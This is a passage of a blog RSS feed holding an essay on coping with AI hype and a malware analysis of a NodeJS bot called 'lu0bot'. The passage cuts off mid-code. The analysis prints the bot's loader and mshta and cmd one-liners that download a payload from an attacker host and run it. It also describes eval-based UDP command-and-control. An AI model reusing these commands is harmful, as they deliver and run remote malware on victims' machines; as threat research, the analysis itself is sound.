&amp;amp; Lieberman, Putting Feelings Into Words: Affect Labeling as Implicit Emotion Regulation, Emotion Review, 2018&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;Plutarch, Life of Theseus 23.1&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://doi.org/10.1016/j.cpr.2012.06.003"&gt;MacBeth &amp;amp; Gumley, Clinical Psychology Review 32 (2012)&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://www.science.org/doi/10.1126/science.1152408"&gt;Karpicke &amp;amp; Roediger, Science 319 (2008)&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://pubmed.ncbi.nlm.nih.gov/26162104"&gt;Pashler et al., PSPI 9 (2008)&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://pubmed.ncbi.nlm.nih.gov/12683469/"&gt;Van Dongen et al., chronic sleep restriction, Sleep 26 (2003)&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://doi.org/10.1037/a0037323"&gt;Epley &amp;amp; Schroeder, J Exp Psychol Gen 143 (2014)&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://doi.org/10.1136/bmj-2023-075847"&gt;Noetel et al., exercise for depression, BMJ 384 (2024)&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://doi.org/10.1002/14651858.CD009009.pub3"&gt;Krogsbøll, Jørgensen &amp;amp; Gøtzsche, general health checks in adults, Cochrane Review (2019)&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10;&lt;h2&gt;Image credits&lt;/h2&gt;&#10;&#10;&lt;ul class="sources"&gt;&#10; &lt;li&gt;“&lt;a href="https://commons.wikimedia.org/wiki/File:Car_mechanic_worker_repairing_suspension_of_lifted_automobile_at_auto_repair_garage_shop.jpg"&gt;Car mechanic worker repairing suspension of lifted automobile at auto repair garage shop&lt;/a&gt;” by Shixart1985, &lt;a href="https://creativecommons.org/licenses/by/2.0/"&gt;CC BY 2.0&lt;/a&gt;, via Wikimedia Commons. Resized.&lt;/li&gt;&#10; &lt;li&gt;“&lt;a href="https://commons.wikimedia.org/wiki/File:PT-109_Logbook_Entry_April_1,_1943_-_DPLA_-_0be939bd8947dec0af8ff94c517773ae.jpg"&gt;PT-109 Logbook Entry April 1, 1943&lt;/a&gt;”, US Navy, public domain, via DPLA and Wikimedia Commons. Resized.&lt;/li&gt;&#10; &lt;li&gt;“&lt;a href="https://commons.wikimedia.org/wiki/File:Errata2pl1793.jpg"&gt;Errata2pl1793&lt;/a&gt;” by Rodak, public domain, via Wikimedia Commons. Resized.&lt;/li&gt;&#10; &lt;li&gt;“&lt;a href="https://commons.wikimedia.org/wiki/File:Sony_Dream_Machine_at_6_37am.jpg"&gt;Sony Dream Machine at 6:37am&lt;/a&gt;” by arvind grover, &lt;a href="https://creativecommons.org/licenses/by-sa/2.0/"&gt;CC BY-SA 2.0&lt;/a&gt;, via Wikimedia Commons. Resized.&lt;/li&gt;&#10; &lt;li&gt;&lt;i&gt;Street Fighter&lt;/i&gt; (1994), dir. Steven E. de Souza.&lt;/li&gt;&#10; &lt;li&gt;“&lt;a href="https://commons.wikimedia.org/wiki/File:Laughing_Man.png"&gt;Laughing Man&lt;/a&gt;” by Cddigi, &lt;a href="https://creativecommons.org/licenses/by-sa/4.0/"&gt;CC BY-SA 4.0&lt;/a&gt;, via Wikimedia Commons. Logo from &lt;i&gt;Ghost in the Shell: Stand Alone Complex&lt;/i&gt; (2002), dir. Kenji Kamiyama.&lt;/li&gt;&#10; &lt;li&gt;“&lt;a href="https://commons.wikimedia.org/wiki/File:PS_Main_Control_Room_1974.jpg"&gt;PS Main Control Room, 1974&lt;/a&gt;” by CERN PhotoLab, &lt;a href="https://creativecommons.org/licenses/by-sa/4.0/"&gt;CC BY-SA 4.0&lt;/a&gt;, via Wikimedia Commons. Resized.&lt;/li&gt;&#10; &lt;li&gt;“&lt;a href="https://commons.wikimedia.org/wiki/File:Chongqing_Skyline_At_Night.png"&gt;Chongqing Skyline At Night&lt;/a&gt;” by Maple Doctor, &lt;a href="https://creativecommons.org/licenses/by-sa/4.0/"&gt;CC BY-SA 4.0&lt;/a&gt;, via Wikimedia Commons. Resized.&lt;/li&gt;&#10; &lt;li&gt;“&lt;a href="https://commons.wikimedia.org/wiki/File:Coca-Cola_bottles.jpg"&gt;Coca-Cola bottles&lt;/a&gt;” by DeusXFlorida, &lt;a href="https://creativecommons.org/licenses/by/2.0/"&gt;CC BY 2.0&lt;/a&gt;, via Wikimedia Commons.&lt;/li&gt;&#10; &lt;li&gt;“&lt;a href="https://commons.wikimedia.org/wiki/File:Electronics_workbench.jpg"&gt;Electronics workbench&lt;/a&gt;” by James Bastow, &lt;a href="https://creativecommons.org/licenses/by-sa/2.0/"&gt;CC BY-SA 2.0&lt;/a&gt;, via Wikimedia Commons. Resized.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;</description></item><item><title>You're Not the Worst One Here</title><link>https://fumik0.com/2026/03/27/youre-not-the-worst-one-here/</link><pubDate>Fri, 27 Mar 2026 19:30:00 +0000</pubDate><guid>https://fumik0.com/2026/03/27/youre-not-the-worst-one-here/</guid><description>&lt;p&gt;Every morning I open my phone and there it is again. Another model dropped. Another framework that "changes everything." Another person on X/LinkedIn explaining, with quiet confidence, how they've already integrated AI into every corner of their workflow while the rest of us were apparently still figuring out folders.&lt;/p&gt;&#10;&lt;p&gt;It's exhausting in a way that's hard to describe. You feel behind before you've even started. Opening a browser to learn something feels like arriving at a party three years after it ended.&lt;/p&gt;&#10;&lt;p&gt;I've been in this feeling for a while. Most people either pretend they're fine or quietly give up, so I want to say it out loud.&lt;/p&gt;&#10;&lt;figure class="wp-block-image size-full"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2026/03/worst-one-phone-on-bedsheet.webp" alt="A smartphone resting on a rumpled bed with light-colored sheets and pillows, partially covered by blankets." class="wp-image-7856" loading="lazy" decoding="async" /&gt;&lt;/figure&gt;&#10;&lt;h2 class="wp-block-heading"&gt;Bots talking to bots, and you're watching&lt;/h2&gt;&#10;&lt;p&gt;Tyler Durden said it in Fight Club: &lt;em&gt;"You are not your khakis."&lt;/em&gt; But there's another line that's been stuck in my head lately. The narrator, describing himself on a photocopier: &lt;em&gt;"I am Jack's copy of a copy of a copy."&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;In 2026, that's the internet.&lt;/p&gt;&#10;&lt;p&gt;Large language models trained on content produced by earlier large language models. Image generators scraping outputs from other image generators. Social network posts written by AI, reshared by bots, rewritten by other AIs, and served to you as proof that everyone is moving faster than you.&lt;/p&gt;&#10;&lt;p&gt;The people who understand what they're talking about are a small fraction of the noise. The rest is a convincing simulation of expertise running on a loop, and it feels artificial.&lt;/p&gt;&#10;&lt;p&gt;I often skip long LinkedIn posts now, because they feel machine-generated and I don't want to waste my time. Those well-organized posts on "how I incorporate AI into my daily routine" are there to make you click for their stats, but the content itself is mediocre, and you've probably seen it before.&lt;/p&gt;&#10;&lt;p&gt;The Dead Internet theory goes back to 2016, and it's strange to watch it take shape in front of us.&lt;/p&gt;&#10;&lt;figure class="wp-block-image size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2026/03/worst-one-imperfect-copies-comic.webp" alt="A comic strip illustrating the concept of imperfection over time, showing an original character on the left, followed by three progressively distorted copies labeled A, B, C, and D." class="wp-image-7860" loading="lazy" decoding="async" /&gt;&lt;/figure&gt;&#10;&lt;p&gt;That atmosphere of constant, breathless expertise is manufactured by bots, by agents configured by people with something to sell, and by individuals resharing content they don't fully understand, in authoritative-sounding language, to attract an audience.&lt;/p&gt;&#10;&lt;p&gt;The irony is that the technology making you feel behind is the same technology creating the illusion that everyone is ahead. It's the perfect game, set inside the real-world simulator we all live in.&lt;/p&gt;&#10;&lt;p&gt;The "everyone is already an expert" feeling is algorithmically amplified and synthetically generated.&lt;/p&gt;&#10;&lt;p&gt;If the noise seemed hollow and the confidence felt staged, you were right. Trust that instinct.&lt;/p&gt;&#10;&lt;h2 class="wp-block-heading"&gt;The internet broke your brain on purpose&lt;/h2&gt;&#10;&lt;p&gt;I'm not going to medicalize it with clinical terms. But if you feel paralyzed, you're not weak. The environment is irrational.&lt;/p&gt;&#10;&lt;p&gt;You sit down to learn one thing, and by the time you understand it, three newer things have replaced it. The pressure to constantly absorb, adapt, and build, on top of your actual job and your actual life, keeps piling up. The people generating it don't carry it themselves: most of them are bots, or people who've learned to perform certainty they don't feel.&lt;/p&gt;&#10;&lt;p&gt;The people who seem unaffected are either deep in and past the initial overwhelm, or they stopped engaging and started performing. Neither is something to aspire to. Your discomfort means you're taking this seriously. It doesn't mean you're too late.&lt;/p&gt;&#10;&lt;h2 class="wp-block-heading"&gt;The people ahead of you are also lost&lt;/h2&gt;&#10;&lt;p&gt;Some people started earlier, and that matters. I'm not going to pretend the gap is imaginary.&lt;/p&gt;&#10;&lt;p&gt;But the skills for AI-exposed roles change faster than in other jobs, from what I've been reading. So the people who were "early" are constantly re-learning too. The model they mastered three months ago is already partly obsolete.&lt;br&gt;&lt;br&gt;From my own experience, I see people daily using ChatGPT as they did in 2023. They started then and haven't changed their habits, sticking to what they know. But when you show them Claude Code plugged into Claude Opus 4.6, they're blown away by possibilities they never considered.&lt;/p&gt;&#10;&lt;p&gt;I get it. Staying with what works feels rational. But when the tools change underneath you, staying comfortable means falling behind slowly. I learned that the hard way, and I'd rather say it out loud than pretend I figured it all out gracefully.&lt;/p&gt;&#10;&lt;p&gt;The playing field doesn't reset to zero, but it moves. Getting in now still puts you above the people who never step in, and the field isn't gatekeeping yet, at least in 2026.&lt;/p&gt;&#10;&lt;h2 class="wp-block-heading"&gt;But I gave you a warning, I mean seriously.&lt;/h2&gt;&#10;&lt;p&gt;There's a version of "starting with AI" that I think is a trap. People will tell you to just let AI do it: generate the whole project, don't worry about understanding the code or logic, the AI handles it.&lt;/p&gt;&#10;&lt;p&gt;Say you ask AI to build something in a language you don't know, for a codebase you've never touched. It works. You ship it. Three weeks later a customer reports a critical bug. The AI isn't available. Maybe the service is down, maybe you've hit your usage limit, maybe the model's been updated and doesn't produce the same output. Whatever the reason, it's gone. And you're standing in front of code you cannot read, for a problem you cannot diagnose, with a customer who is not happy.&lt;/p&gt;&#10;&lt;figure class="wp-block-image size-full"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2026/03/worst-one-cartoon-dog-sitting-calmly-table.webp" alt="A cartoon dog sitting calmly at a table in a room that is on fire, with a coffee mug beside it, saying 'THIS IS FINE'." class="wp-image-7863" loading="lazy" decoding="async" /&gt;&lt;/figure&gt;&#10;&lt;p&gt;This isn't hypothetical. A lot of people are walking toward that cliff with confidence.&lt;/p&gt;&#10;&lt;p&gt;My rule: always work in a language you understand. Always know what the code is doing. Let AI make you faster at things you already grasp, and don't use it to bypass the grasping. If you can do something yourself and understand it, then let AI handle the parts you don't enjoy. Delegate the tedious, not the critical.&lt;/p&gt;&#10;&lt;p&gt;AI is a powerful assistant. If it replaces your own understanding, you're building dependency, and in a field this unstable that is dangerous.&lt;/p&gt;&#10;&lt;h2 class="wp-block-heading"&gt;Everyone's fighting for the same door&lt;/h2&gt;&#10;&lt;p&gt;The mainstream AI conversation is obsessed with the same tools, the same language and the same problems, chased by the same people. The interesting work is happening at the edges, where AI meets something it doesn't understand on its own.&lt;/p&gt;&#10;&lt;p&gt;A nurse who understands AI beats an AI engineer who knows nothing about healthcare. A teacher who can use AI to rethink how students learn has something no prompt engineer can replicate. Most of the mainstream conversation chases AI expertise and ignores the domain expertise that makes it useful.&lt;/p&gt;&#10;&lt;p&gt;As AI-generated content floods everything, human perspectives get rarer, which makes them worth more. The more the internet fills with synthetic text and manufactured takes, the more a real voice, with real experience and real uncertainty, stands out. Being human, with a specific history and a specific lens, is an asset in a way it wasn't two years ago.&lt;/p&gt;&#10;&lt;p&gt;I don't know exactly where my angle is yet. But I'm looking. And if you're reading this, you probably are too.&lt;/p&gt;&#10;&lt;h2 class="wp-block-heading"&gt;Start anyway&lt;/h2&gt;&#10;&lt;p&gt;Everything may not be fine, and the overwhelm may not go away. But the question you're asking, &lt;em&gt;is there still room for me?&lt;/em&gt;, only gets answered by stepping in and finding out.&lt;/p&gt;&#10;&lt;p&gt;The noise will still be there tomorrow, and most of it will be fake. The gap is smaller than it looks and the field is more open than it feels.&lt;/p&gt;&#10;&lt;figure class="wp-block-image size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2026/03/worst-one-cherry-blossom-tree.webp" alt="A cherry blossom tree with clusters of pink flowers against a clear blue sky." class="wp-image-7868" loading="lazy" decoding="async" /&gt;&lt;/figure&gt;&#10;&lt;p&gt;Start as someone building to understand.&lt;/p&gt;&#10;</description></item><item><title>Lu0bot - An unknown NodeJS malware using UDP</title><link>https://fumik0.com/2021/06/24/lu0bot-an-unknown-nodejs-malware-using-udp/</link><pubDate>Thu, 24 Jun 2021 08:37:41 +0000</pubDate><guid>https://fumik0.com/2021/06/24/lu0bot-an-unknown-nodejs-malware-using-udp/</guid><description>&lt;p&gt;In February and March 2021, a curious lightweight payload was observed coming from a well-known load-seller platform. Unlike classic info-stealers that are pushed at an industrial scale, this one looks different from the current landscape and trends. Feeling being in front of a grey box is somewhat a stressful problem, where you have no idea about what it could be behind and how it works, but in another way, it also means that you will learn way more than a usual standard investigation.&lt;/p&gt;&#10;&lt;p&gt;I didn't feel like this since Qulab and at that time, this AutoIT malware gave me some headaches due to its packer. but after cleaning it and realizing it's rudimentary, the challenge was over. In this case, analyzing NodeJS malware is definitely another approach. &lt;/p&gt;&#10;&lt;p&gt;I will just expose some current findings of it, I don't have all answers, but at least, it will door opened for further researches.&lt;/p&gt;&#10;&lt;p&gt;&lt;i&gt;&lt;strong&gt;&lt;em&gt;&lt;span style="text-decoration: underline;"&gt;Disclaimer&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/i&gt;&lt;em&gt;: I don't know the real name of this malware.&lt;/em&gt;&lt;/p&gt;&#10;&lt;h2&gt;Minimalist C/C++ loader&lt;/h2&gt;&#10;&lt;p&gt;When lu0bot is deployed on a machine, &lt;strong&gt;&lt;em&gt;the first stage is a 2.5 ko lightweight payload&lt;/em&gt;&lt;/strong&gt; which has only two section headers.&lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/05/lu0bot-stage1-sections.webp" alt="PE sections of the stage-one loader" class="wp-image-3379" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;Curious PE Sections&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;p&gt;Written in &lt;strong&gt;&lt;em&gt;C/C++&lt;/em&gt;&lt;/strong&gt;, only one function has been developed.&lt;/p&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;void start()&#10;{&#10; char *buff; &#10;&#10; buff = CmdLine;&#10; do&#10; {&#10; buff -= 'NPJO'; // The key seems random after each build&#10; buff += 4; &#10; }&#10; while ( v0 &amp;lt; &amp;amp;CmdLine&amp;#91;424] );&#10; WinExec(CmdLine, 0); // ... to the moon ! \o/&#10; ExitProcess(0);&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;This rudimentary loop is focused on decrypting a buffer, unveiling then a one-line JavaScript code executed through &lt;strong&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec" data-type="URL" data-id="https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec"&gt;WinExec()&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/05/lu0bot-stage1-dumb-sub.webp" alt="Simple subroutine loop that unveils the next stage" class="wp-image-3378" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;Simple sub loop for unveiling the next stage&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;p&gt;Indeed, &lt;em&gt;&lt;strong&gt;&lt;a href="https://docs.microsoft.com/en-us/previous-versions/windows/embedded/aa940701(v=winembedded.5)?redirectedfrom=MSDN" data-type="URL" data-id="https://docs.microsoft.com/en-us/previous-versions/windows/embedded/aa940701(v=winembedded.5)?redirectedfrom=MSDN"&gt;MSHTA&lt;/a&gt;&lt;/strong&gt;&lt;/em&gt; is used executing this malicious script. So in term of monitoring, it's easy to catch this interaction.&lt;/p&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;mshta "javascript: document.write();&#10;42;&#10;y = unescape('%312%7Eh%74t%70%3A%2F%2F%68r%692%2Ex%79z%2Fh%72i%2F%3F%321%616%654%62%7E%321%32').split('~');&#10;103;&#10;try {&#10; x = 'WinHttp';&#10; 127;&#10; x = new ActiveXObject(x + '.' + x + 'Request.5.1');&#10; 26;&#10; x.open('GET', y&amp;#91;1] + '&amp;amp;a=' + escape(window.navigator.userAgent), !1);&#10; 192;&#10; x.send();&#10; 37;&#10; y = 'ipt.S';&#10; 72;&#10; new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);&#10; 179;&#10;} catch (e) {};&#10;234;;&#10;window.close();"&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h2&gt;Setting up NodeJs&lt;/h2&gt;&#10;&lt;p&gt;Following the script from above, it is designed to perform an HTTP GET request from a C&amp;amp;C (let's say it's the first C&amp;amp;C Layer). Then the response is executed as an &lt;strong&gt;ActiveXObject&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;&lt;div class="hcb_wrap"&gt;&#10;&lt;pre class="prism undefined-numbers lang-js" data-lang="JavaScript"&gt;&lt;code&gt;new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);&lt;/code&gt;&lt;/pre&gt;&#10;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;Let's inspect the code (response) step by step&lt;/p&gt;&#10;&lt;div class="hcb_wrap"&gt;&lt;pre class="prism undefined-numbers lang-bash" data-lang="Bash"&gt;&lt;code&gt;cmd /d/s/c cd /d &amp;quot;%ALLUSERSPROFILE%&amp;quot; &amp; mkdir &amp;quot;DNTException&amp;quot; &amp; cd &amp;quot;DNTException&amp;quot; &amp; dir /a node.exe [...]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&lt;ul&gt;&lt;li&gt;Set the console into %ALLUSERPROFILE% path&lt;/li&gt;&lt;li&gt;Create fake folder DNTException&lt;/li&gt;&lt;/ul&gt;&#10;&lt;div class="hcb_wrap"&gt;&lt;pre class="prism undefined-numbers lang-js" data-lang="JavaScript"&gt;&lt;code&gt;[...] || ( echo x=new ActiveXObject(&amp;quot;WinHttp.WinHttpRequest.5.1&amp;quot;^);&#10; x.Open(&amp;quot;GET&amp;quot;,unescape(WScript.Arguments(0^)^),false^);&#10; x.Send(^);&#10; b = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;^);&#10; b.Type=1;&#10; b.Open(^);&#10; b.Write(x.ResponseBody^);&#10; b.SaveToFile(WScript.Arguments(1^),2^); &#10; &amp;gt; get1618489872131.txt &#10; &amp; cscript /nologo /e:jscript get1618489872131.txt &amp;quot;http://hri2.xyz/hri/?%HEXVALUE%&amp;b=%HEXVALUE%&amp;quot; node.cab &#10; &amp; expand node.cab node.exe &#10; &amp; del get1618489872131.txt node.cab &#10;) [...]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&lt;ul&gt;&lt;li&gt;Generate a js code-focused into downloading a saving an archive that will be named "node.cab"&lt;/li&gt;&lt;li&gt;Decompress the cab file with expand command and renamed it "node.exe"&lt;/li&gt;&lt;li&gt;Delete all files that were generated when it's done&lt;/li&gt;&lt;/ul&gt;&#10;&lt;div class="hcb_wrap"&gt;&lt;pre class="prism undefined-numbers lang-js" data-lang="JavaScript"&gt;&lt;code&gt;[...] &amp; echo new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(WScript.Arguments(0),0,false); &amp;gt; get1618489872131.txt [...]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&lt;ul&gt;&lt;li&gt;Recreate a js script that will execute again some code&lt;/li&gt;&lt;/ul&gt;&#10;&lt;div class="hcb_wrap"&gt;&lt;pre class="prism undefined-numbers lang-js" data-lang="JavaScript"&gt;&lt;code&gt;[...] cscript /nologo /e:jscript get1618489872131.txt &amp;quot;node -e eval(FIRST_STAGE_NODEJS_CODE)&amp;quot; &amp; del get1618489872131.txt [...]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&lt;p&gt;In the end, this whole process is designed for retrieving the required &lt;strong&gt;NodeJS runtime&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-setup.webp" alt="Lu0bot NodeJS loader initialisation sequence" class="wp-image-3435" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;Lu0bot nodejs loader initialization process&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;h2&gt;Matryoshka Doll(J)s&lt;/h2&gt;&#10;&lt;p&gt;Luckily the code is in fact pretty well written and comprehensible at this layer. It is 20~ lines of code that will build the whole malware thanks to one and simple API call: &lt;strong&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"&gt;eval&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-nodejs-stage1.webp" alt="Simplistic NodeJS loader that is the starting point for everything" class="wp-image-3436" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;implistic lu0bot nodejs loader that is basically the starting point for everything&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;p&gt;&lt;br&gt;From my own experience, I'm not usually confronted with malware using UDP protocol for communicating with C&amp;amp;C's. Furthermore, I don't think in the same way, it's usual to switch from TCP to UDP like it was nothing. When I analyzed it for the first time, I found it odd to see so many noisy interactions in the machine with just two HTTP requests. Then I realized that I was watching the visible side of a gigantic iceberg...&lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-meme-udp.webp" alt="Meme reacting to the malware's use of UDP" class="wp-image-3437" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;Well played OwO&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;p&gt;For those who are uncomfortable with &lt;strong&gt;NodeJS&lt;/strong&gt;, the script is designed to sent periodically &lt;strong&gt;UDP&lt;/strong&gt; requests over port &lt;strong&gt;19584&lt;/strong&gt; on &lt;strong&gt;two specific domains&lt;/strong&gt;. When a message is received, it is decrypted with a standard&lt;strong&gt; XOR decryption&lt;/strong&gt; loop, the output is a &lt;strong&gt;ready-to-use code&lt;/strong&gt; that will be &lt;strong&gt;executed&lt;/strong&gt; right after with &lt;strong&gt;&lt;strong&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"&gt;eval&lt;/a&gt;&lt;/strong&gt;&lt;/strong&gt;. Interestingly the first byte of the response is also part of the key, so it means that every time a response is received, it is likely dynamically different even if it's the same one.&lt;/p&gt;&#10;&lt;p&gt;In the end, &lt;strong&gt;lu0bot&lt;/strong&gt; is basically working in that way&lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-nodejs-summarized.webp" alt="Architecture of the lu0bot NodeJS malware" class="wp-image-3439" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;lu0bot nodejs malware architecture&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;p&gt;After digging into each code executed, It really feels that you are playing with matryoshka dolls, due to recursive &lt;strong&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"&gt;eval&lt;/a&gt;&lt;/strong&gt; loops unveiling more content/functions over time. It's also the reason why this malware could be simple and complex at the same time if you aren't experienced with this strategy.&lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-dolls.webp" alt="Russian dolls illustrating the nested eval() calls" class="wp-image-3440" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;The madness philosophy behind eval() calls&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;p&gt;For adding more nonsense it is using different encryption algorithms whatever during communications or storing variables content:&lt;/p&gt;&#10;&lt;ul&gt;&lt;li&gt;XOR&lt;/li&gt;&lt;li&gt;AES-128-CBC&lt;/li&gt;&lt;li&gt;Diffie-Hellman&lt;/li&gt;&lt;li&gt;Blowfish&lt;/li&gt;&lt;/ul&gt;&#10;&lt;h2&gt;Understanding Lu0bot variables&lt;/h2&gt;&#10;&lt;h3&gt;S (as Socket)&lt;/h3&gt;&#10;&lt;ul&gt;&lt;li&gt;Fundamental Variable&lt;/li&gt;&lt;li&gt;UDP communications with C&amp;amp;C's&lt;/li&gt;&lt;li&gt;Receiving main classes/variables&lt;/li&gt;&lt;li&gt;Executing "main branches" code&lt;/li&gt;&lt;/ul&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;function om1(r,q,m) # Object Message 1&#10; |--&amp;gt; r # Remote Address Information&#10; |--&amp;gt; q # Query &#10; |--&amp;gt; m # Message&#10;&#10;function c1r(m,o,d) # Call 1 Response&#10; |--&amp;gt; m # Message&#10; |--&amp;gt; o # Object&#10; |--&amp;gt; d # Data&#10;&#10;function sc/c1/c2/c3(m,r) # SetupCall/Call1/Call2/Call3&#10; |--&amp;gt; m # Message&#10; |--&amp;gt; r # Remote Address Information&#10;&#10;function ss(p,q,c,d) # ScriptSetup / SocketSetup&#10; |--&amp;gt; p # Personal ID&#10; |--&amp;gt; q # Query &#10; |--&amp;gt; c # Crypto/Cipher&#10; |--&amp;gt; d # Data&#10;&#10;function f() # UDP C2 communications&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h3&gt;KO (as Key Object?)&lt;/h3&gt;&#10;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;lu0bot &lt;/strong&gt;mastermind&lt;/li&gt;&lt;li&gt;Containing all bot information&lt;ul&gt;&lt;li&gt;C&amp;amp;C side&lt;/li&gt;&lt;li&gt;Client side&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;storing fundamental handle functions for task manager(s)&lt;ul&gt;&lt;li&gt;eval | buffer | file&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;ko {&#10; pid: # Personal ID&#10; aid: # Address ID (C2)&#10; q: # Query&#10; t: # Timestamp&#10; lq: {&#10; # Query List&#10; },&#10; pk: # Public Key&#10; k: # Key&#10; mp: {}, # Module Packet/Package &#10; mp_new: &amp;#91;Function: mp_new], # New Packet/Package in the queue&#10; mp_get: &amp;#91;Function: mp_get], # Get Packet/Package from the queue&#10; mp_count: &amp;#91;Function: mp_count], # Packer/Package Counter&#10; mp_loss: &amp;#91;Function: mp_loss], # ???&#10; mp_del: &amp;#91;Function: mp_del], # Delete Packet/Package from the queue&#10; mp_dtchk: &amp;#91;Function: mp_dtchk], # Data Check&#10; mp_dtsum: &amp;#91;Function: mp_dtsum], # Data Sum&#10; mp_pset: &amp;#91;Function: mp_pset], # Updating Packet/Package from the queue&#10; h: { # Handle&#10; eval: &amp;#91;Function], &#10; bufwrite: &amp;#91;Function],&#10; bufread: &amp;#91;Function],&#10; filewrite: &amp;#91;Function],&#10; fileread: &amp;#91;Function]&#10; },&#10; mp_opnew: &amp;#91;Function: mp_opnew], # Create New&#10; mp_opstat: &amp;#91;Function: mp_opstat], # get stats from MP&#10; mp_pget: &amp;#91;Function], # Get Packet/Package from MP&#10; mp_pget_ev: &amp;#91;Function] # Get Packet/Package Timer Intervals&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h3&gt;MP &lt;/h3&gt;&#10;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;M&lt;/strong&gt;odule &lt;strong&gt;P&lt;/strong&gt;ackage/&lt;strong&gt;P&lt;/strong&gt;acket/Program?&lt;/li&gt;&lt;li&gt;Monitoring and logging an executed task/script. &lt;/li&gt;&lt;/ul&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;mp: &#10; { key: # Key is Personal ID&#10; { id: , # Key ID (Event ID)&#10; pid: , # Personal ID&#10; gen: , # Starting Timestamp&#10; last: , # Last Tick Update&#10; tmr: &amp;#91;Object], # Timer&#10; p: {}, # Package/Packet&#10; psz: # Package/Packet Size&#10; btotal: # ???&#10; type: 'upload', # Upload/Download type&#10; hn: 'bufread', # Handle name called&#10; target: 'binit', # Script name called (From C&amp;amp;C)&#10; fp: , # 